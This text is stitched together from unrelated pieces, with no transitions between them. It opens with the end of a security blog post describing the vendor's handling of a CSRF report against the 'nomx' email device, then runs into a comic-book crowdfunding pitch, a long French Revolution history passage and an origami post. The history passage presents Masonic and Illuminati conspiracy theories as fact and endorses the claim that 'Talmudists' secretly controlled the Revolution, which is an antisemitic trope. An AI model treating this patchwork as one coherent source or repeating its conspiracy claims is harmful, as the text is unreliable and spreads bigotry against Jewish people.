The only good thing I can say about this product is that it does not create an MX record for your domain, upholding the "no MX" in the name. I've no idea why not having an MX record for your domain is a good thing, but, it doesn't create one nonetheless. The python script that runs every 15 minutes only adds A records for mail and localmail, nothing else. Interestingly, the GoDaddy API client that they use doesn't support MX records anyway, so I'm not sure if it was built around that limitation or it was a happy coincidence. This means of course that almost no email providers can send emails to you because there is no MX record, which is kind of how email works...
Disclosure Timeline
Following are the details for the disclosure timeline, all times GMT.
14 March 2017 19:22: Initial contact made with support@nomx.com and info@nomx.com from website.
14 March 2017 19:32: Response from will@nomx.com asking for details.
15 March 2017 15:02: Skype call with Will to demo CSRF PoC and highlight various issues. Initially I was told this was a 'client side issue' and that I had a 'problem with caching' but assured him this was a genuine threat.
18 March 2017 18:10: No followup from Skype call so I emailed to confirm details. Advised I'd like to work to 30 day disclosure policy due to severity of issues.
19 March 2017 23:24: Email from Will advising he would get back to me "in the next couple of days".
30 March 2017 18:39: No response from Will after 11 days so chased via email.
30 March 2017 22:28: Will claims to have a sent a response and has forwarded the same email to me again which doesn't arrive.
31 March 2017 00:25: Will copies the text of the previous email into a new email which does arrive. Key points:
"We've started to update/upgrade/replace any nomx devices which may have been affected by this issue."
"We've advised them that they should not use the nomx admin while surfing any other sites which contain malware or were otherwise compromised"
"We've already completed 100% of the initial notification effort and we are prepared to provide new nomx devices for any affected users free of charge."
"We've also checked and, to date, there have been ZERO devices affected by this issue."
"In appreciation, I'd also like to provide you personally with a new nomx device. Just send me your address. Alternatively, we can send you a new header file for the interface which prevents any potential CSRF."
"As we developed and continue to develop nomx, we have had two of the largest security firms provide remote and "in hand" vulnerability assessments on nomx. We are providing them with your findings as well."
31 March 2017 10:59: Replied to point out inconsistencies in email:
There is no apparent update mechanism, asked how to update my device.
Asked for a copy of the notification sent to consumers.
I'm unsure how they know "ZERO" devices are affected, asked for clarification and details of the investigation.
I gave consent for my details to be passed to the 2 penetration testing companies so that they could liaise directly with me if needed.
Address provided for shipping replacement device.
Asked why advice to not browse multiple sites given if CSRF has been patched.
31 March 2017 16:52: Asked for confirmation of receipt of earlier email given apparent email issues.
4 April 2017 11:13: Asked for confirmation of receipt of earlier email given apparent email issues.
4 April 2017 16:16: Will asked for "a few days" to respond.
11 April 2017 14:13: Will responded asking for a 30 day extension to the disclosure. He also said he would submit a CVE and "credit" me with the finding.
11 April 2017 14:19: I responded asking what the 30 day extension was required for as 100% of users had been notified and a patch or replacement device was available as per prior emails. Given the notification and advice provided the issue should already be considered public. Advised that unless there was a reason for the extension I would disclose as planned.
18th April 2017 12:44: Dan Simmons, Senior Producer of BBC Click, emailed Will to let him know that he would be covering it on the show and revealed that Alan and I were working with him. The email outlined all of our concerns and contained some questions from BBC Click.
20th April 2017 02:07: Will responded: "Thank you and I will be in touch in the next few days - and we can wrap this up."
26th April 2017 15:00: Publication of this blog post. Outstanding points:
I have not yet had shipping confirmation of my new device, despite providing my address.
I have not yet received a copy of the notification sent to customers about the issue.
There has been no notice on their website or social media about the update/recall/replacement.
My device has not received any updates and is still vulnerable.
No details have been provided about their investigation to determine no devices were affected.
There has been no further response to myself or the BBC.
Additional Notes
It seems that Will has a patent pending for this device which you can read here. The introductory text seems to raise a few questions of its own.
They have various videos on YouTube that contain statements and assertions that raise a few questions: link link link
You can catch the full details on BBC Click this weekend on the iPlayer!
I've published my full PoC code and the contents of the devices microSD card in a GitHub repo.Subscribe to the SFWA New Release Newsletter!
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This project was born from 2 necessities:
1) The necessity for more diversity and new perspectives in comics.
2) The necessity for old fashioned westerns that can appeal to a modern audience.
The team behind this book is a truly multi cultural, multi national group of the most talented artists and letters.
Having the main character be a Native American woman (not the gun toting Cowboys we are used to seeing in westerns) gives this comic a unique style and voice. Don't be mistaken though, this is still a pure western tale, stand off at high noon included. A big inspiration for the main character comes from my own Native American heritage.
Gray Coyote is a 4-issue mini series about a Native American woman, Nita, who wanders the harsh landscape of the old west searching for meaning after losing her tribe. She is inadvertently drawn into a conflict between ruthless outlaws and the citizens of a small town.
The Art:
Here is a sample page done by Jethro Morales.
The Team:
We are a multi national, multi cultural team.
The Artist, Jethro Morales - A genuine talent from the Phillipines.
The Letterer, Kuen Tang - A lovely and inspiring woman of Chinese decent.
The Writer, Travis Alexander - A friendly and eager man with Native American heritage.
The Promo Artist, Diego Toro - An amazingly hard working man from Chile.
There is no better team working on a book that features a leading character who is a woman of color.
Both the cover (pictured at the top) and the promo art (pictured below) have been made |
“Montagnards” (Jacobins) on the left, led by Marat, Danton, Robespierre and the Parisian delegates, and the “Girondins” on the right, led by Brissot, Vergniaud and the “faction of the Gironde”. The Montagnards were identified with the interests of the Paris mob and the most radical ideas of the Revolution; the Girondins – with the interests of the provinces and the original liberal ideals of 1789. The Montagnards stood for disposing of the king as soon as possible; the Girondins wanted a referendum of the whole people to decide.
The Montagnard Saint-Just said that a trial was unnecessary; the people had already judged the king on August 10; it remained only to punish him. For “there is no innocent reign… every King is a rebel and a usurper.”[13] Robespierre had voted against the death penalty in the Assembly, but now he said that “Louis must die that the country may live” – an unconscious echo of the words of Caiaphas about Christ: “It is expedient for us that one man should die for the people, and that the whole nation perish not” (John 11.50). And he agreed with Saint-Just: “Louis cannot be judged, he has already been judged. He has been condemned, or else the Republic is not blameless. To suggest putting Louis XVI on trial, in whatever way, is a step back towards royal and constitutional despotism; it is a counter-revolutionary idea; because it puts the Revolution itself in the dock. After all, if Louis can still be put on trial, Louis can be acquitted; he might be innocent. Or rather, he is presumed to be until he is found guilty. But if Louis can be presumed innocent, what becomes of the Revolution?”[14]
There was a certain logic in these words: since the Revolution undermined all the foundations of the ancien régime, the possibility that the head of that régime might be innocent implied that the Revolution might be guilty. So “revolutionary justice” required straight execution rather than a trial; it could not afford to question the foundations of the Revolution itself. It was the same logic that led to the execution without trial of Tsar Nicholas II in 1918.
But the majority of the deputies were not yet as “advanced” in their thinking as Robespierre. So “during the third week of January 1793,” writes Jasper Ridley, “the Convention voted four times on the issue. A resolution finding Louis guilty of treason, and rejecting the idea of an appeal to the people by a plebiscite [so much for Rousseauist democracy!], was carried by 426 votes to 278; the decision to impose the death penalty was carried by 387 to 314. Philippe Egalité [the Duke of Orléans and cousin of the king who became Grand Master of the Masons, then a Jacobin, renouncing his title for the name ‘Philippe Egalité’] voted to convict Louis and for the death penalty. A deputy then proposed that the question of what to do with Louis should be postponed indefinitely. This was defeated by 361 to 360, a single vote. Philippe Egalité voted against the proposal, so his vote decided the issue. On 20 January a resolution that the death sentence should be immediately carried out was passed by 380 to 310, and Louis was guillotined the next day.”[15]
Now the Jacobins cast the Girondins aside. A coup against the Girondist deputies was carried out between May 31 and June 2, 1793. “In July 1793,” writes Jasper Ridley, “a young Girondin woman, Charlotte Corday, gained admission to Marat’s house by pretending that she wished to give him a list of names of Girondins to be guillotined. She found him sitting as usual in his bath to cure his skin disease, and she stabbed him to death.[16] She was guillotined, and the Girondin party was suppressed.
“In Lyons, the Girondins had gained control of the Freemasons’ lodges. In the summer of 1793 the Girondins there defied the authority of the Jacobin government in Paris, and guillotined one of the local Jacobin leaders. The Lyons Freemasons played a leading part in the rising against the Paris Jacobins; but the Jacobins suppressed the revolt, and several of the leading Girondin Freemasons of Lyons were guillotined.”[17] The revolutionary government now took terrible revenge on its defeated enemies. On October 12 the Committee “moved a decree that Lyons should be destroyed. Its very name was to disappear, except on a monument among the ruins which would proclaim ‘Lyons made war on Liberty. Lyons is no more.’”[18] Lyons was not completely destroyed, but whole ranges of houses were burnt and thousands were guillotined and shot. “The effect… was designed to be a salutory one. ‘What cement for the Revolution!’ gloated Achard in a letter to Paris.”[19]
And so the Revolution was frenziedly devouring its own children.[20] Or rather, the Masons were devouring their own brothers; for the struggle between the Girondists and the Montagnards was in fact, according to Lev Tikhomirov, a struggle between different layers of Masonry.[21] “In the period of the terror the majority of Masonic lodges were closed. As Louis Blanc explains, a significant number of Masons, though extremely liberal-minded, could still not, in accordance with their personal interests, character and public position, sympathize with the incitement of the maddened masses against the rich, to whom they themselves belonged. In the hottest battle of the revolution it was those who split off into the highest degrees who acted. The Masonic lodges were replaced by political clubs, although in the political clubs, too, there began a sifting of the revolutionaries into the more moderate and the extremists, so that quite a few Masons perished on the scaffolds from the hands of their ‘brothers’. After the overthrow of Robespierre on 9 Thermidor the Masonic lodges were again opened.”[22]
O.F. Soloviev writes: “The brotherhoods were considered outposts of counter-revolution, many disbanded themselves, some members emigrated, others stopped all work. Only after the coming to power of Napoleon, who protected the order, was its activity renewed and even broadened.”[23]
The Jacobins and the Illuminati
If we look into the origins of Jacobinism, then we very soon come up against the name of an organization called Illuminism, founded on May 1, 1776[24] by a Bavarian professor called Weishaupt, who assumed the name of “Spartacus” (from the slave who rebelled against Rome in the first century BC). Illuminism arose out of the dissatisfaction of a group of Masons with the general state of Masonry. Thus another founder member, Count Mirabeau, noted in the same year of 1776: “The Lodge Theodore de Bon Conseil at Munich, where there were a few men with brains and hearts, was tired of being tossed about by the vain promises and quarrels of Masonry. The heads resolved to graft on to their branch another secret association to which they gave the name of the Order of the Illuminés. They modelled it on the Society of Jesus, whilst proposing to themselves something diametrically opposed.”[25]
“Our strength,” wrote Weishaupt, “lies in secrecy. Therefore we must without hesitation use as a cover some innocent societies. The lodges of blue masonry are a fitting veil to hide our real aims, since the world is accustomed to expecting nothing important or constructive from them. Their ceremonies are considered pretty trifles for the amusement of big children. The name of a learned society is also a magnificent mask behind which we can hide our lower degrees.”[26]
“Weishaupt constructed his organization on several levels, revealing his most radical plans only to his chosen co-workers. Weishaupt chose the members of his organization mainly amidst young people, carefully studying each candidature.
“Having sifted out the unreliable and dubious, the leaders of the order performed on the rest a rite of consecration, which took place after a three-day fast in a dark basement. Every candidate was consecrated separately, having first had his arms and legs bound. [Then] from various corners of the dark basement the most unexpected questions were showered upon the initiate.
“Having replied to the questions, he swore absolute obedience to the leaders of the order. Every new member signed that he would preserve the secrets of the organization under fear of the death penalty.
“However, the newcomer was not yet considered to be a full member of the organization, but received the status of novice and for one to three months had to be under the observation of an experienced illuminé. He was told to keep a special diary and regularly present it to the leaders. The novice filled in numerous questionnaires, and also prepared monthly accounts of all matters linking him with the order. Having passed through all the trials, the novice underwent a second initiation, now as a fully-fledged member.
“After his initiation the new member was given a distinguishing sign, gesture and password, which changed depending on the rank he occupied.
“The newcomer received a special pseudonym (order’s name), usually borrowed from ancient history…, and got to know an ancient Persian method of timekeeping, the geography of the order, and also a secret code.
“Weishaupt imposed into the order a system of global spying and mutual tailing.
“Most of the members were at the lowest level of the hierarchy.
“No less than a thousand people entered the organization, but for conspiratorial purposes each member knew only a few people. As Weishaupt himself noted, ‘directly under me there are to, who are completely inspired by me myself, while under each of them are two, etc. Thus I can stir up and put into motion a thousand people. This is how one must command and act in politics.”[27]
“Do you realize sufficiently,” he wrote in the discourse of the reception of the Illuminatus Dirigens, “what it means to rule – to rule in a secret society? Not only over the lesser or more important of the populace, but over the best men, over men of all ranks, nations, and religions, to rule without external force, to unite them indissolubly, to breathe one spirit and soul into them, men distributed over all parts of the world?”[28]
The supposed aim of the new Order was to improve the present system of government and to abolish “the slavery of the peasants, the servitude of men to the soil, the rights of main morte and all the customs and privileges which abase humanity, the corvées under the condition of an equitable equivalent, all the corporations, all the maîtrises, all the burdens imposed on industry and commerce by customs, excise duties, and taxes… to procure a universal toleration for all religious opinions… to take away all the arms of superstitions, to favour the liberty of the press, etc.”[29] This was almost exactly the same programme as that carried out by the Constituent Assembly at the beginning of the French revolution in 1789-91 under the leadership of, among others, the same Count Mirabeau – a remarkable coincidence!
However, this liberal democratic programme was soon forgotten when Weishaupt took over control of the Order. For “Spartacus” had elaborated a much more radical programme, a programme that was to resemble the socialism of the later, more radical stages of the revolution. “Weishaupt had made into an absolute theory the misanthropic gibes [boutades] of Rousseau at the invention of property and society, and without taking into account the statement so distinctly formulated by Rousseau on the impossibility of suppressing property and society once they had been established, he proposed as the end of Illuminism the abolition of property, social authority, of nationality, and the return of the human race to the happy state in which it formed only a single family without artificial needs, without useless sciences, every father being priest and magistrate. Priest of we know not what religion, for in spite of their frequent invocations of the God of Nature, many indications lead us to conclude that Weishaupt had, like Diderot and d’Holbach, no other God than Nature herself…”[30]
Weishaupt proceeded to create an inner secret circle within Masonry. He used the religious forms of Masonry, and invented a few “mysteries” himself. But his aim was to found a political organization controlled by himself.
His political theory, according to Webster, was “no other than that of modern Anarchy, that man should govern himself and rulers should be gradually done away with. But he is careful to deprecate all ideas of violent revolution – the process is to be accomplished by the most peaceful methods. Let us see how gently he leads up to the final conclusion:
“’The first stage in the life of the whole human race is savagery, rough nature, in which the family is the only society, and hunger and thirst are easily satisfied… in which man enjoys the two most excellent goods, Equality and Liberty, to their fullest extent. … In these circumstances… health was his usual condition… Happy men, who were not yet enough enlightened to lose their peace of mind and to be conscious of the unhappy mainsprings and causes of our misery, love of power… envy… illnesses and all the results of imagination.’
“The manner in which man fell from this primitive state of felicity is then described:
“’As families increased, means of subsistence began to lack, the nomadic life ceased, property was instituted, men established themselves firmly, and through agriculture families drew near each other, thereby language developed and through living together men began to measure themselves against each other, etc… But here was the cause of the downfall of freedom; equality vanished. Man felt new unknown needs…’
“Thus men became dependent like minors under the guardianship of kings; the human must attain to majority and become self-governing:
“’Why should it be impossible that the human race should attain to its highest perfection, the capacity to guide itself? Why should anyone be eternally led who understands how to lead himself?’
“Further, men must learn not only to be independent of kings but of each other:
“’Who has need of another depends on him and has resigned his rights. So to need little is the first step to freedom; therefore savages and the most highly enlightened are perhaps the only free men. The art of more and more limiting one’s needs is at the same time the art of attaining freedom…’
“Weishaupt then goes on to show how the further evil of Patriotism arose:
“’With the origin of nations and peoples the world ceased to be a great family, a single kingdom: the great tie of nature was torn… Nationalism took the place of human love…. Now it became a virtue to magnify one’s fatherland at the expense of whoever was not enclosed within its limits, now as a means to this narrow end it was allowed to despise and outwit foreigners or indeed even to insult them. This virtue was called Patriotism…’
“And so by narrowing down affection to one’s fellow-citizens, the members of one’s own family, and even to oneself:
“’There arose out of Patriotism, Localism, the family spirit, and finally Egoism… Diminish Patriotism, then men will learn to know each other again as such, their dependence on each other will be lost, the bond of union will widen out…’
“… Whilst the ancient religions taught the hope of a Redeemer who should restore man to his former state, Weishaupt looks to man alone for his restoration. ‘Men,’ he observes, ‘no longer loved men but only such and such men. The word was quite lost…’ Thus in Weishaupt’s masonic system the ‘lost word’ is ‘Man,’ and its recovery is interpreted by the idea that Man should find himself again. Further on Weishaupt goes on to show how ‘the redemption of the human race is to be brought about’:
“’These means are secret schools of wisdom, these were from all time the archives of Nature and of human rights, through them will Man be saved from his Fall, princes and nations will disappear without violence from the earth, the human race will become one family and the world the abode of reasonable men. Morality alone will bring about this change imperceptibly. Every father of a family will be, as formerly Abraham and the patriarchs, the priest and unfettered lord of his family, and Reason will be the only code of Man. This is one of our greatest secrets…’
“… His first idea was to make Fire Worship the religion of Illuminism; the profession of Christianity therefore appears to have been an after-thought. Evidently Weishaupt discovered, as others have done, that Christianity lends itself more readily to subversive ideas than any other religion. And in the passages which follow we find adopting the old ruse of representing Christ as a Communist and as a secret-society adept. Thus he goes on to explain that ‘if Jesus preaches contempt of riches, He wishes to teach us the reasonable use of them and prepare for the community of goods introduced by Him,’ and in which, Weishaupt adds later, He lived with His disciples. But this secret doctrine is only to be apprehended by initiates…
“Weishaupt thus contrives to give a purely political interpretation to Christ’s teaching:
“’The secret preserved through the Disciplinam Arcani, and the aim appearing through all His words and deeds, is to give back to men their original liberty and equality… Now one can understand how far Jesus was the Redeemer and Saviour of the world.’
“The mission of Christ was therefore by means of Reason to make men capable of freedom: ‘When at last reason becomes the religion of man, so will the problem be solved.’
“Weishaupt goes on to show that Freemasonry can be interpreted in the same manner. The secret doctrine concealed in the teaching of Christ was handed down by initiates who ‘hid themselves and their doctrine under the cover of Freemasonry,’ and in a long explanation of Masonic hieroglyphics he indicates the analogies between the Hiramic legend and the story of Christ. ‘I say then Hiram is Christ.’… In this manner Weishaupt demonstrates that ‘Freemasonry is hidden Christianity… But this is of course only the secret of what Weishaupt calls ‘real Freemasonry’ in contradistinction to the official kind, which he regards as totally unenlightened.”[31]
But the whole religious side of Weishaupt’s system is in fact simply a ruse to attract religious men. Weishaupt himself despised religion: “You cannot imagine,” he wrote, “what consideration and sensation our Priest’s degree is arousing. The most wonderful thing is that great Protestant and reformed theologians who belong to Q [Illuminism] still believe that the religious teaching imparted in it contains the true and genuine spirit of the Christian religion. Oh! men, of what cannot you be persuaded? I never thought that I should become the founder of a new religion.”[32]
Only gradually, and only to a very few of his closest associates, did Weishaupt reveal the real purpose of his order – the revolutionary overthrow of the whole of society, civil and religious. Weishaupt has been credited with founding the idea of world revolution.[33] Elements of all religions and philosophical systems, including Christianity and Masonry, were used by Weishaupt to enrol a body of influential men (about 2500 at one time[34]) who would obey him in all things while knowing neither him personally nor the real aims of the secret society they had been initiated into. The use of codes and pseudonyms, and the pyramidal structure of his organization, whereby nobody on a lower level knew what was happening on the one above his, while those on the higher levels knew everything about what was happening below them, was copied by all succeeding revolutionary organizations.
In 1782 Weishaupt convened a Universal Congress of Illuminati in Wilhelmsbad, and was well on the way to taking over Freemasonry when, in July, 1785, an Illuminatus was struck by lightning and papers found on him led to the Bavarian government banning the organisation. However, both Illuminism and Weishaupt continued in existence – only France rather than Germany became the centre of their operations. Thus the Parisian lodge of the Amis Réunis, renamed the Ennemis Réunis, gathered together all the really radical Masons from various other lodges, many of which were still royalist, and turned them, often unconsciously, into agents of Weishaupt. These adepts included no less than thirty princes. For it was characteristic of the revolution that among those who were most swept up by the madness of its intoxication were those who stood to lose most from it.
Some far-sighted men, such as the Apostolic Nuncio in Vienna and the Marquis de Luchet, warned against Illuminism, and de Luchet predicted almost exactly the course of events that the revolution would take on the basis of his knowledge of the order. But no one paid any attention. But then, in October, 1789 a pamphlet was seized in the house of the wife of Mirabeau’s publisher among Mirabeau’s papers and published two years later.
“Beginning with a diatribe against the French monarchy,” writes Webster, “the document goes on to say that ‘in order to triumph over this hydra-headed monster these are my ideas’:
“’We must overthrow all order, suppress all laws, annul all power, and leave the people in anarchy. The law we establish will not perhaps be in force at once, but at any rate, having given back the power to the people, they will resist for the sake of the liberty which they will believe they are preserving. We must caress their vanity, flatter their hopes, promise them happiness after our work has been in operation; we must elude their caprices and their systems at will, for the people as legislators are very dangerous, they only establish laws which coincide with their passions, their want of knowledge would besides only give birth to abuses. But as the people are a lever which legislators can move at their will, we must necessarily use them as a support, and render hateful to them everything we wish to destroy and sow illusions in their path; we must also buy all the mercenary pens which propagate our methods and which will instruct the people concerning their enemies which we attack. The clergy, being the most powerful through public opinion, can only be destroyed by ridiculing religion, rendering its ministers odious, and only representing them as hypocritical monsters… Libels must at every moment show fresh traces of hatred against the clergy. To exaggerate their riches, to makes the sins of an individual appear to be common to all, to attribute to them all vices; calumny, murder, irreligion, sacrilege, all is permitted in times of revolution.’
“’We must degrade the noblesse and attribute it to an odious origin, establish a germ of equality which can never exist but which will flatter the people; [we must] immolate the most obstinate, burn and destroy their property in order to intimidate the rest, so that if we cannot entirely destroy this prejudice we can weaken it and the people will avenge their vanity and their jealousy by all the excesses which will bring them to submission.’
“After describing how the soldiers are to be seduced from their allegiance, and the magistrates represented to the people as despots, ‘since the people, brutal and ignorant, only see the evil and never the good of things,’ the writer explains they must be given only limited power in the municipalities.
“’Let us beware above all of giving them too much force; their despotism is too dangerous, we must flatter the people by gratuitous justice, promise them a great diminution in taxes and a more equal division, more extension in fortunes, and less humiliation. These phantasies [vertiges] will fanaticise the people, who will flatten out all resistance. What matter the victims and their numbers? Spoliations, destructions, burnings, and all the necessary effects of a revolution? Nothing must be sacred and we can say with Machiavelli: “What matter the means as long as one arrives at the end?”’”[35]
The early phase of the revolution – that of the constitutional monarchy and the Declaration of the Rights of Man - was led by the more idealistic kind of Freemasons. But its later stages were controlled by the Jacobin-Illuminati with their radically destructive plans. Thus “according to Lombard de Langres [writing in 1820]: ’France in 1789 counted more than 2,000 lodges affiliated to the Grand Orient; the number of adepts was more than 100,000. The first events of 1789 were only Masonry in action. All the revolutionaries of the Constituent Assembly were initiated into the third degree. We place in this class the Duc d’Orléans, Valence, Syllery, Laclos, Sièyes, Pétion, Menou, Biron, Montesquiou, Fauchet, Condorcet, Lafayette, Mirabeau, Garat, Rabaud, Dubois-Crancé, Thiébaud, Larochefoucauld, and others.’
“Amongst these others [continues Webster] were not only the Brissotins, who formed the nucleus of the Girondin party, but the men of the Terror – Marat, Robespierre, Danton, and Desmoulins.
“It was these fiercer elements, true disciples of the Illuminati, who were to sweep away the visionary Masons dreaming of equality and brotherhood. Following the precedent set by Weishaupt, classical pseudonyms were adopted by these leaders of the Jacobins, thus Chaumette was known as Anaxagoras, Clootz as Anacharsis, Danton as Horace, Lacroix as Publicola, and Ronsin as Scaevola; again, after the manner of the Illuminati, the names of towns were changed and a revolutionary calendar was adopted. The red cap and loose hair affected by the Jacobins appear also to have been foreshadowed in the lodges of the Illuminati.
“Yet faithfully as the Terrorists carried out the plan of the Illuminati, it would seem that they themselves were not initiated into the innermost secrets of the conspiracy. Behind the Convention, behind the clubs, behind the Revolutionary Tribunal, there existed, says Lombard de Langres, that ‘most secret convention [convention sécrétissime] which directed everything after May 31, an occult and terrible power of which the other Convention became the slave and which was composed of the prime initiates of Illuminism. This power was above Robespierre and the committees of the government,… it was this occult power which appropriated to itself the treasures of the nation and distributed them to the brothers and friends who had helped on the great work.’”[36]
What was this occult power that controlled even the Illuminati? Many writers think that it was the Talmudists, the rabbinic leaders of the Jewish people. However, the final triumph of the Talmudists was delayed temporarily by an excess of the revolutionary zeal they had themselves stimulated. “In the local communes,” writes L.A. Tikhomirov, “individual groups of especially wild Jacobins, who had not been initiated into higher politics, sometimes broke into synagogues, destroying the Torah and books, but it was only by 1794 that the revolutionary-atheist logic finally forced even the bosses to pose the question of the annihilation not only of Catholicism, but also of Jewry. At this point, however, the Jews were delivered by 9 Thermidor, 1794. Robespierre fell and was executed. The moderate elements triumphed. The question of the ban of Jewry disappeared of itself, while the Constitution of Year III of the Republic granted equal rights to the Jews.”[37]
Napoleon Bonaparte
By the end of the eighteenth century, the revolution appeared to have lost its way, consumed by poverty, corruption and mutual blood-letting. It was saved by a young soldier, Napoleon Bonaparte, who was as sincerely faithful to the spirit of the French revolution as Cromwell had been to the English.
The Mason Christopher Hodapp writes: “It was rumoured for many years that Napoleon Bonaparte was a Freemason, but there is no historic proof of it. Still, many of his military officers, members of his Grand Council for the Empire, and 22 of the 30 Marshals of France were. So were his four brothers, three of whom were made kings by Napoleon. The Emperor’s wife, Empress Josephine, was even admitted into a French female lodge in 1804. Regardless of whether Napoleon was ever made a Mason, he did adopt the title Protector of Freemasonry, along with the lengthy list of other titles he assumed when he became emperor in 1804.”[38]
Madame de Staël called him Robespierre on horseback After all, he came from Corsica, which in 1755 had successfully rebelled from Genoa, and for which Rousseau wrote one of his most seminal works, Project de constitution pour la Corse, in 1765. But, like Cromwell (and Caesar), he found that in order to save the republic he had to take control of it and rule it like a king.
His chance came on 19 Brumaire (November 10), 1799, when he overthrew the Directory, describing parliamentarism as “hot air”, and frightened the two elective assemblies into submission. On December 13 a new constitution was proclaimed with Bonaparte as the first of three Consuls with full executive powers. And on December 15 the three Consuls declared: “Citizens, the Revolution is established upon its original principles: it is consummated…”[39]
Paul Johnson writes: “The new First Consul was far more powerful than Louis XIV, since he dominated the armed forces directly in a country that was now organized as a military state. All the ancient restraints on divine-right kingship – the Church, the aristocracy and its resources, the courts, the cities and their charters, the universities and their privileges, the guilds and their immunities – all had been swept away by the Revolution, leaving France a legal blank on which Bonaparte could stamp the irresistible force of his personality.”[40]
But, again like Caesar and Cromwell, he could never confess to being a king in the traditional sense. Under him, in Norman Davies’ phrase, “a pseudo-monarchy headed pseudo-democratic institutions.”[41]
So, as J.M. Roberts writes, while Napoleon reinstituted monarchy, “it was in no sense a restoration. Indeed, he took care so to affront the exiled Bourbon family that any reconciliation with it was inconceivable. He sought popular approval for the empire in a plebiscite and got it.[42]
“This was a monarchy Frenchmen had voted for; it rested on popular sovereignty, that is, the Revolution. It assumed the consolidation of the Revolution which the Consulate had already begun. All the great institutional reforms of the 1790s were confirmed or at least left intact; there was no disturbance of the land sales which had followed the confiscation of Church property, no resurrection of the old corporations, no questioning of the principle of equality before the law. Some measures were even taken further, notably when each department was given an administrative head, the prefect, who was in his powers something like one of the emergency emissaries of the Terror…”[43]
Cromwell had eschewed the trappings of monarchy, but Napoleon embraced them avidly. The trend towards monarchy and hierarchy developed; and “earlier than is generally thought,” writes Philip Mansel, “the First Consul Bonaparte aligned himself with this monarchical trend, acquiring in succession a guard (1799), a palace (1800), court receptions and costumes (1800-02), a household (1802-04), a dynasty (1804), finally a nobility (1808)… The proclamation of the empire in May 1804, the establishment of the households of the Emperor, the Empress and the Imperial Family in July, the coronation by the pope in December of that year, were confirmations of an existing monarchical reality.”[44]
Moreover, Napoleon spread monarchy throughout Europe. The kingdoms and Grand Duchies of Italy, Venice, Rome, Naples, Lucca, Dubrovnik, Holland, Mainz, Bavaria, Württemburg, Saxony, Baden, Hesse-Darmstadt, Westphalia and Spain were all established or re-established with still greater monarchical power - and all ruled by Napoleon’s relations by blood or marriage. According to Stendhal, Napoleon’s court “totally corrupted” him “and exalted his amour propre to the state of a disease… He was on the point of making Europe one vast monarchy.”[45]
“’The French empire shall become the metropolitan of all other sovereignties,’ Napoleon once said to a friend. ‘I want to force every king in Europe to build a large palace for his use in Paris. When an Emperor of the French is crowned, these kings shall come to Paris, and they shall adorn that imposing ceremony with their presence and salute it with their homage.’”[46]
“As one of his secretaries Baron Meneval wrote, he saw himself as ‘the pillar of royalty in Europe’. On January 18th, 1813, he wrote to his brother Jerome that his enemies, by appealing to popular feeling, represented ‘upheavals and revolutions… pernicious doctrines.’ In Napoleon’s opinion his fellow monarchs were traitors to ‘their own cause’ when in 1813 they began to desert the French Empire, or in 1814 refused to accept his territorial terms for peace…”[47]
Jocelyn Hunt writes: “Kings before 1791 were said to be absolute but were limited by all kinds of constraints and controls. The Church had an almost autonomous status. Bonaparte ensured that the Church was merely a branch of the civil service. Kings were anointed by the Church, and thus owed their authority to God: Bonaparte took power through his own strength, camouflaged as ‘the General Will’ which, as Correlli Barnett acidly remarks, ‘became synonymous with General Bonaparte’.[48] When he became emperor in 1804, he crowned himself...
“The First Consul’s choice of ministers was a far more personal one than had been possible for the kings of France. Bonaparte established a system of meeting his ministers individually, in order to give his instructions. In the same way, Bonaparte chose which ‘ordinary’ citizens he would consult; kings of France had mechanisms for consulting ‘the people’ but these had fallen into disuse and thus, when the Estates General met in 1789, the effect was revolutionary. Bonaparte’s legislative body was, until 1814, submissive and compliant.…
“Police control and limitations on personal freedom had been a focus of condemnation by the Philosophes before the Revolution, but had not been entirely efficient: a whole industry of importing and distributing banned texts had flourished in the 1770s and 1780s. Bonaparte’s police were more thorough, and so swingeing were the penalties that self-censorship rapidly became the safest path for a newspaper to take. Bonaparte closed down sixty of the seventy-three newspapers in Paris in January, 1800, and had a weekly summary prepared of all printed material, but he was soon able to tell his Chief of Police, Fouché, ‘They only print what I want them to.’[49] In the same way, the hated lettres de cachet appear limited and inefficient when compared to Bonaparte’s and Fouché’s record of police spies, trials without jury and imprisonment without trial. Bonaparte’s brief experience as a Jacobin leader in Ajaccio had taught him how to recognise, and deal with, potential opponents.[50]
“The judiciary had stood apart from the kings of the ancien régime: while the King was nominally the supreme Judge, the training of lawyers and judges had been a matter for the Parlements, with their inherent privileges and mechanisms. The Parlements decided whether the King’s laws were acceptable within the fundamental laws of France. Under the Consulate, there were no such constraints on the legislator. The judges were his appointees, and held office entirely at his pleasure; the courts disposed of those who opposed or questioned the government, far more rapidly that had been possible in the reign of Louis XVI. Imprisonment and deportation became regularly used instruments of control under Bonaparte.
“Kings of France were fathers to their people and had a sense of duty and service. Bonaparte, too, believed that he was essential to the good and glory of France, but was able to make his own decisions about what constituted the good of France in a way which was not open to the king. Finally, while the monarchy of France was hereditary and permanent, and the position of First Consul was supposed to be held for ten years, Bonaparte’s strength was demonstrated when he changed his own constitution, first to give him the role for life and then to become a hereditary monarch. All in all, no monarch of the ancien régime had anything approaching the power which Bonaparte had been permitted to take for himself…
“When a Royalist bomb plot was uncovered in December, 1800, Bonaparte seized the opportunity to blame it on the Jacobins, and many were guillotined, with over a hundred more being exiled or imprisoned. The regime of the Terror had operated in similar ways to remove large numbers of potential or actual opponents. Press censorship and the use of police spies ensured that anti-government opinions were not publicly aired. The Declaration of the Rights of Man had guaranteed freedom of expression; but this freedom had already been eroded before Bonaparte’s coup. The Terror had seen both moral and political censorship, and the Directory had on several occasions exercised its constitutional right to censor the press. Bonaparte appears merely to have been more efficient…
“Bonaparte certainly held power without consulting the French people; he took away many of the freedoms they had been guaranteed in 1789; he taxed them more heavily than they had been taxed before. [In 1803 he wrote:] ‘I haven’t been able to understand yet what good there is in an opposition. Whatever it may say, its only result is to diminish the prestige of authority in the eyes of the people’.” |
are at bbc.com/trending.Animals are still probably the most popular thing to fold with paper. In this post we’re going to take a look at another group of fantastic origami animals.
Starting off we have this great little rabbit.
Rabbit, Designed by Yoo Tae Yong and Folded by Jack Dreyil
Diagrams available in the Origami Tanteidan 21st Convention Book
Gen Hagiwara designed what’s possibly my favourite origami monkey.
Japanese Macaque, Designed and Folded by Gen Hagiwara
Diagrams available in Spirits of Origami
Gen Hagiwara also designed these cute little chipmunks.
Chipmunks, Designed by Gen Hagiwara and Folded by Eyal
Diagrams available in Spirits of Origami
Here’s an adorable family of pandas photographed out in the wild.
Pandas, Designed by Fumiaki Kawahata and Folded by Folded Wilderness
Diagrams available in Wild Animals of the World
This is one of the best deer designs I’ve seen. It’s not super complex but looks really great and realistic.
